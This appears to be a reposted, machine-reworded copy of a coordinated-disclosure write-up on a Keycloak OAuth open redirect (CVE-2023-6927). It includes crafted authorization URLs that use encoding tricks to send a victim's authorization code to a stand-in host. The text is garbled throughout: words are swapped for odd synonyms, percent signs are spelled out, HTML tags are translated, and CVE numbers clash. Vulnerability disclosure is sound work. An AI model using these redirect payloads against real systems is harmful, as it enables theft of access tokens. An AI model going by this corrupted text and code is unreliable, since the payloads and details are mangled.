Now Reading
Writeup: Keycloak open redirect (CVE-2023-6927)

Writeup: Keycloak open redirect (CVE-2023-6927)

2024-01-12 01:03:19

This publish covers the technical particulars of CVE-2023-6927 which permits an attacker to create malicious Keycloak
authorization request URLs that bypass the redirect URI validation. This may be exploited to steal a sufferer’s
authorization code or entry token, relying on the consumer configuration.

The vulnerability impacts all OAuth 2.0 purchasers configured with a redirect URI ending with a * in Keycloak < 23.0.4.

The present greatest practices for OAuth 2.0 in browser-based apps is to make use of the authorization code circulation with Proof-Key
for Code Alternate
(PKCE).
The in any other case widespread implicit grant circulation has been deprecated and omitted from OAuth 2.1.

Each the authorization code circulation (reponse_type=code) and implicit grant (response_type=token) depend on browser-based redirection to carry out the authentication ceremony.

Overview of OAuth 2.0 code flow

Step 1 contains the parameter redirect_uri which is used as a callback when the consumer has authenticated with the id
supplier. The code (or token) is connected to the redirect (step 2) primarily based on the requested response_mode. The 2 most
widespread response modes are fragment and question which use HTTP 302-based redirects and locations the code in both the
URL question or fragment parts of the redirect URI.

One other legitimate response mode is form_post. When used, the id supplier renders a web page containing an
auto-submitting HTML type which performs an HTTP POST request to the redirect URI with the authorization code within the
request physique.

The consumer can then alternate the authorization code (step 3) for an entry token, which can be utilized to entry APIs (step
4). Whether or not step 3 requires the consumer to additionally provide its consumer secret is dependent upon if the consumer is public or
confidential. Public purchasers are used when the consumer is unable to retailer secrets and techniques, for instance in single-page
purposes.

For prime-security purposes the advice is to not use public purchasers, even for single-page purposes and as a substitute make the most of the Backend-For-Frontend (BFF) sample. For
extra particulars, see our discuss on widespread OAuth 2.0 and OIDC pitfalls.

How to f*ck up at OAuth2 while following BCPs -Tobias Ahnoff, Pontus Hanssen – SecurityFest2023 (youtube.com)

For implementations utilizing implicit grant, an entry token is returned in step 2, and step 3 might be omitted.

It’s as much as the id supplier to confirm that the desired redirect_uri matches one of many configured URIs for the given consumer. The specification mandates that straightforward string comparability is used (character by character).

“When a redirection URI is included in an authorization request, the
authorization server MUST examine and match the worth acquired
in opposition to at the least one of many registered redirection URIs (or URI
parts) as outlined in [RFC3986] Part 6, if any redirection
URIs had been registered. If the consumer registration included the complete
redirection URI, the authorization server MUST examine the 2 URIs
utilizing easy string comparability as outlined in [RFC3986] Part 6.2.1”

RFC6749, section 3.1.2.3

It’s also clear {that a} configured redirect URI have to be an absolute URI, the phrase should is used as a definition of an
absolute requirement by the specification.

“The redirection endpoint URI MUST be an absolute URI as outlined by
[RFC3986] Part 4.3.”

RFC6749, section 3.1.2

If the redirect URI validation is damaged, an attacker could craft malicious authorization request URIs which, when accessed
by a sufferer, sends their entry token or authorization code to an attacker-controlled web site (as a substitute of the supposed
consumer).

Keycloak is a well-liked open supply id supplier utilized by many organizations and corporations world-wide and is a CNCF
incubation venture. They describe the venture as:

“Keycloak is an Open Supply Id and Entry Administration resolution for contemporary Functions and Companies.”
github.com/keycloak/keycloak

When creating OAuth 2.0 purchasers in Keycloak it’s potential to specify redirect URIs containing wildcards utilizing a * character.
Wildcards can solely be used on the finish of a redirect URI. This may be seen within the Keycloak default consumer for the admin
panel security-admin-console, had been the redirect URI sample is /admin/grasp/console/*. In such instances “easy string comparability” just isn’t used,
as a substitute Keycloak asserts that the configured redirect URI is a prefix (minus the * character) of the redirect URI
specified within the authorization request.

Open redirect vulnerabilities permit an attacker to craft hyperlinks which, when visited by a sufferer, redirects them away from the supposed web site to a different web site specified by the attacker.

An attacker could use such vulnerabilities to for instance redirect to a phishing-site, with the purpose of stealing consumer credentials.
Open redirects are generally thought-about low danger vulnerabilities since they require a major quantity of
consumer interplay and may’t be used to leak delicate data straight from the weak software. Nonetheless, this
just isn’t all the time the case for OAuth 2.0 primarily based implementations.

An insecure OAuth 2.0 consumer configured to simply accept any redirect URI allows open redirect by design, with the
added bonus {that a} sufferer’s entry token or authorization code is distributed to the attacker-controlled web site with the redirect.

open redirect used to steal OAuth 2.0 access token

Within the instance above, the attacker constructs an authorization request URL that can be utilized by customers of the appliance “App” to
register. By modifying the redirect_uri parameter the attacker can trick victims utilizing the URL to ship their
authorization code (or entry token) to the attacker server, as a substitute of it being despatched again to the appliance.

The attacker can now alternate the code for an entry token if the “App” OAuth 2.0 consumer is a public consumer, or use the entry
token straight if implicit circulation was used.

On this occasion the attacker may specify arbitrary redirect URIs because of an insecure configuration of the OAuth 2.0 consumer.

Now that we have now established that arbitrary redirect URIs (with solely a wildcard *) are insecure, let’s have a look at a
vulnerability in Keycloak which permits an attacker to bypass the prefix of redirect URIs. In different phrases, how can we
trick Keycloak into pondering https://my.software.inner/* is the same as *.

This vulnerability has been assigned CVE-2023-6927 and a patch has been launched as of Keycloak 23.0.4.

Keycloak comes with a few default OAuth 2.0 purchasers, for instance the security-admin-console consumer used to
entry the admin internet software of Keycloak. To make issues simpler to observe, we are going to use this consumer for
demonstration. It’s nonetheless value mentioning that any consumer with a redirect URI that ends in a wildcard working
Keycloak < 23.0.4 is weak.

The picture above reveals the default configuration of the security-admin-console consumer. We be aware that
there is just one legitimate redirect (Keycloak helps a number of redirect URIs per consumer). The redirect URI begins with a
/ and ends with a *. On condition that this Keycloak occasion is working on http://localhost:8080, any redirect URI
parameter beginning with http://localhost:8080/admin/grasp/console/ must be accepted.

If we scroll down on the consumer configuration web page we be aware that it helps “normal circulation”, i.e. authorization code
circulation. The implicit circulation just isn’t enabled. We additionally be aware that consumer authentication is disabled. This will likely be necessary
later.

As talked about earlier, step one to the register course of is the authorization request. Given our Keycloak admin
software working on http://localhost:8080, such a request might need the next URL.

http://localhost:8080/realms/grasp/protocol/openid-connect/auth
  ?client_id=security-admin-console
  &redirect_uri=httppercent3Apercent2Fpercent2Flocalhostpercent3A8080percent2Fadminpercent2Fmasterpercent2Fconsolepercent2F
  &state=2e9f6263-0862-40a0-827b-e380f374e5dc
  &response_mode=fragment
  &response_type=code
  &scope=openid
  &nonce=2f9d5237-8df8-4a1e-9917-d9e64d7048a4
  &code_challenge=SVHJKLQphjYjmQoJi5cynyJ4eP3d51swgJLknKkxI-c
  &code_challenge_method=S256

The redirect_uri parameter comprises the URL encoded illustration of http://localhost:8080/admin/grasp/console/.

One attention-grabbing reality about Keycloak is that when validating the redirect_uri parameter it would try and URL decode
the worth a number of occasions to discover a match. Because of this the redirect URI
httppercent253Apercent252Fpercent252Flocalhostpercent253A8080percent252Fadminpercent252Fmasterpercent252Fconsolepercent252F (the place %25 is a URL encoded % character) is simply as legitimate,
at the least to the redirect validator. Nonetheless, if we try and register with that URL, after coming into our credentials we
are redirected to http://localhost:8080/httppercent253apercent252fpercent252flocalhostpercent253a8080percent252fadminpercent252fmasterpercent252fconsolepercent252f,
which doesn’t exist.

Because of this Keycloak will URL decode all elements of the user-supplied redirect URI to discover a match, after which redirect
to the encoded worth.

However how can we use this to redirect to any host and bypass the prefix? With HTTP Primary Auth.

It’s potential to assemble URLs that include HTTP Primary Auth credentials within the following format:
https://username:password@instance.com. When you open this hyperlink in an internet browser it would robotically add an
Authorization: Primary dXNlcm5hbWU6cGFzc3dvcmQ= to the request in the direction of instance.com. dXNlcm5hbWU6cGFzc3dvcmQ= is
username:password encoded utilizing base64.

There may be one caveat although — the username could not embrace any slash characters, however that isn’t an issue now that we are able to
URL encode them.

With that information we are able to assemble a brand new redirect URI:

http://localhostpercent253a8080percent252fadminpercent252fmasterpercent252fconsolepercent252f:@instance.com

The host a part of this URI factors to instance.com and contains the unique redirect URI (URL encoded) because the HTTP Primary
Auth username with a clean password. When processed by Keycloak’s redirect validator, the URI is URL decoded into:

http://localhost:8080/admin/grasp/console/:@instance.com

The decoded URI’s host half is localhost and the trail is /admin/grasp/console:@instance.com which matches the
anticipated redirect URI sample.

This precise situation was reported by one other safety researcher and assigned
CVE-2023-6291 and our authentic
vulnerability report was thought-about a reproduction.
CVE-2023-6291 was patched in Keycloak 23.0.3.

The patch for CVE-2023-6291 modifications the habits of the redirect validator and it now removes any HTTP Primary Auth
data from the URI earlier than trying to URL decode and match the provided redirect URI.

The unique authorization request contains response_mode=fragment. This response mode will carry out the redirect utilizing
an HTTP 302 Discovered standing code and go the redirect vacation spot utilizing the Location HTTP header. The authorization
code is appended to the URL fragment, as proven within the following instance.

HTTP/1.1 302 Discovered
Referrer-Coverage: no-referrer
X-Body-Choices: SAMEORIGIN
Strict-Transport-Safety: max-age=31536000; includeSubDomains
X-Robots-Tag: none
Cache-Management: no-store, must-revalidate, max-age=0
X-Content material-Kind-Choices: nosniff
Content material-Safety-Coverage: frame-src 'self'; frame-ancestors 'self'; object-src 'none';
X-XSS-Safety: 1; mode=block
Location: http://localhost:8080/admin/grasp/console/#state=2e9f6263-0862-40a0-827b-e380f374e5dc&session_state=f12998b0-1d47-4903-b5a5-44b012dc03b8&code=a9cd431b-1c45-4c98-a75c-d7187c326792.f12998b0-1d47-4903-b5a5-44b012dc03b8.2014289e-0975-4ce5-8d25-4946b641f5b3
connection: shut
content-length: 0

If response_mode=form_post is used as a substitute of response_mode=fragment, the redirect will likely be carried out utilizing an HTML Kind,
like within the following instance.

 <physique onload="doc.kinds[0].submit()">
    <type technique="publish" motion="http://localhost:8080/admin/grasp/console/">
        <enter sort="hidden" identify="code" worth="14260171-65df-45e2-87ad-a671519ccdb4.0b72dbb5-bff2-444c-870d-3cf0cb7fcb3b.2014289e-0975-4ce5-8d25-4946b641f5b3" />
        <enter sort="hidden" identify="state" worth="2e9f6263-0862-40a0-827b-e380f374e5dc" />
        <enter sort="hidden" identify="session_state" worth="0b72dbb5-bff2-444c-870d-3cf0cb7fcb3b" />
        <noscript>
            <p>JavaScript is disabled. We strongly suggest to allow it. Click on the button under to proceed .</p>
            <enter identify="proceed" sort="submit" worth="proceed" />
        </noscript>
    </type>
</physique>

On this case the redirect URI is written to an HTML attribute, which permits us to encode characters as HTML entities
(a = &#x61;, b = &#x62;, and many others.). We will use this to HTML entity encode the @-sign within the redirect URI in order that the
it’s not eliminated by the redirect validator. Our new redirect URI is:

http://locahostpercent253a8080percent252fadminpercent252fmasterpercent252fconsolepercent252f:%26percent23x40percent3bexample.com

This URL doesn’t (on the floor of it) embrace any HTTP Primary Auth parameters, since there’s no @ character. When
URL decoded it turns into:

http://localhost:8080/admin/grasp/console/:&#x40;instance.com

Which matches the anticipated redirect URI sample. The redirect HTML type is rendered as:

See Also

 <physique onload="doc.kinds[0].submit()">
    <type technique="publish" motion="http://localhost:8080percent2Fadminpercent2Fmasterpercent2Fconsolepercent2F:&#x40;instance.com">
        <enter sort="hidden" identify="code" worth="14260171-65df-45e2-87ad-a671519ccdb4.0b72dbb5-bff2-444c-870d-3cf0cb7fcb3b.2014289e-0975-4ce5-8d25-4946b641f5b3" />
        <enter sort="hidden" identify="state" worth="2e9f6263-0862-40a0-827b-e380f374e5dc" />
        <enter sort="hidden" identify="session_state" worth="0b72dbb5-bff2-444c-870d-3cf0cb7fcb3b" />
        <noscript>
            <p>JavaScript is disabled. We strongly suggest to allow it. Click on the button under to proceed .</p>
            <enter identify="proceed" sort="submit" worth="proceed" />
        </noscript>
    </type>
</physique>

When the shape is submitted, &#x40; is handled as a @, which permits the shape to be posted to http://instance.com, with the unique redirect URI as HTTP Primary Auth credentials.

Nonetheless, one other safety researcher had reported a second vulnerability (assigned
CVE-2023-6134), which makes use of this similar
method to realize cross-site scripting (XSS) in purchasers utilizing wildcard redirect URIs.
A repair for CVE-2023-6134 was launched in Keycloak 23.0.3.

The patch for CVE-2023-6134 escapes HTML entities by changing & with &amp; within the motion attribute of the shape
returned utilizing response_mode=form_post.

With the response_mode=form_post patched utilizing correct output encoding we have to discover one other approach of triggering the
redirect. Since Keycloak is open supply we are able to have a look at all of the supported response modes.

public enum OIDCResponseMode {

    QUERY("question"),
    JWT("jwt"),
    FRAGMENT("fragment"),
    FORM_POST("form_post"),
    QUERY_JWT("question.jwt"),
    FRAGMENT_JWT("fragment.jwt"),
    FORM_POST_JWT("form_post.jwt");
}

The JWT response modes are a part of the JWT Secured Authorization Response Mode for OAuth 2.0 (JARM) normal, which
basically returns the authorization code or token inside a signed JWT.

It seems that the patch for CVE-2023-6134 solely enabled correct output encoding for the HTML type utilized in
response_mode=form_post, which permits us to make use of the next authorization URL to bypass the redirect URI
restrictions in Keycloak 23.0.3.

http://localhost:8080/realms/grasp/protocol/openid-connect/auth
  ?client_id=security-admin-console
  &redirect_uri=httppercent3Apercent2Fpercent2Flocalhostpercent3A8080percent252Fadminpercent252Fmasterpercent252Fconsolepercent252F:%26percent23x40percent3bexample.com
  &response_mode=form_post.jwt
  &response_type=code
  &scope=openid
  &code_challenge=ZtNPunH49FD35FWYhT5Tv8I7vRKQJ8uxMaL0_9eHjNA
  &code_challenge_method=S256

This vulnerability was reported to Keycloak on 2023-12-18. It was accepted and assigned CVE-2023-6927.

The vulnerability might be reproduced within the newest variations of each Mozilla Firefox and Google Chrome, however with barely
completely different outcomes. As a safety mechanism Firefox makes an attempt to warn the consumer when the shape to vacation spot URL containing
fundamental auth credentials.

Clicking “Sure”, permits the assault to succeed. Chrome alternatively doesn’t immediate or warn the consumer in any approach and
the redirect to the attacker-controlled area is seamless.

Beneath are two recordings that reveal the vulnerability, one for Firefox and one for Chrome. Because the OAuth 2.0
consumer security-admin-console doesn’t require consumer authentication it’s potential to alternate the stolen
authorization code for an entry token.

Chrome Demo

Firefox Demo

Within the Firefox demo there’s an extra warning because the type publish is carried out over HTTP (and never HTTPS), which is
vital because the Keycloak occasion used for the demo doesn’t assist HTTPS. All manufacturing situations of Keycloak
(ought to) assist HTTPS, which might take away this additional immediate.

OAuth 2.0 is sort of advanced and helps many alternative flows and redirect patterns. Utilizing wildcards as a part of OAuth
2.0 redirect URIs can introduce extreme vulnerabilities for an software. When implementing OAuth 2.0 primarily based
authentication, we strongly suggest utilizing strict string matching of redirect URIs and to not use wildcards.

Although the vulnerability described on this publish is patched, there are different alternatives for misconfiguration of
redirect URIs. For instance, think about the redirect URI sample https://instance.com* (with no trailing slash). On this
case, all an attacker must do is register a website and create the subdomain instance.com.attacker-domain.com to
bypass the restrictions.

For extra studying materials on OAuth 2.0 and Id Suppliers, see
Defence in Depth: Clients and sessions (part 3/7) and
How to choose an Identity Provider (IdP).

Timeline

Representatives from Keycloak have been fast to research and handle the reported points. Thanks!

  • 2023-11-30 Preliminary vulnerability submission to Keycloak
  • 2023-12-05 Keycloak acknowledged that the submission was acquired
  • 2023-12-05 Submission thought-about duplicate because of CVE-2023-6134 and CVE-2023-6291
  • 2023-12-15 Keycloak 23.0.3 launched, containing patches for the 2 CVEs
  • 2023-12-18 New vulnerability report submitted relating to response_mode=form_post.jwt
  • 2023-12-18 Report accepted by Keycloak and assigned CVE-2023-6027
  • 2024-01-08 Keycloak 23.0.4 launched containing a patch for the vulnerability
  • 2024-01-11 Coordinated disclosure by publishing this weblog publish

Pontus Hanssen

Safety Researcher

Kasper Karlsson

Safety Researcher


Extra on this collection:

Source Link

What's Your Reaction?
Excited
0
Happy
0
In Love
0
Not Sure
0
Silly
0
View Comments (0)

Leave a Reply

Your email address will not be published.

2022 Blinking Robots.
WordPress by Doejo

Scroll To Top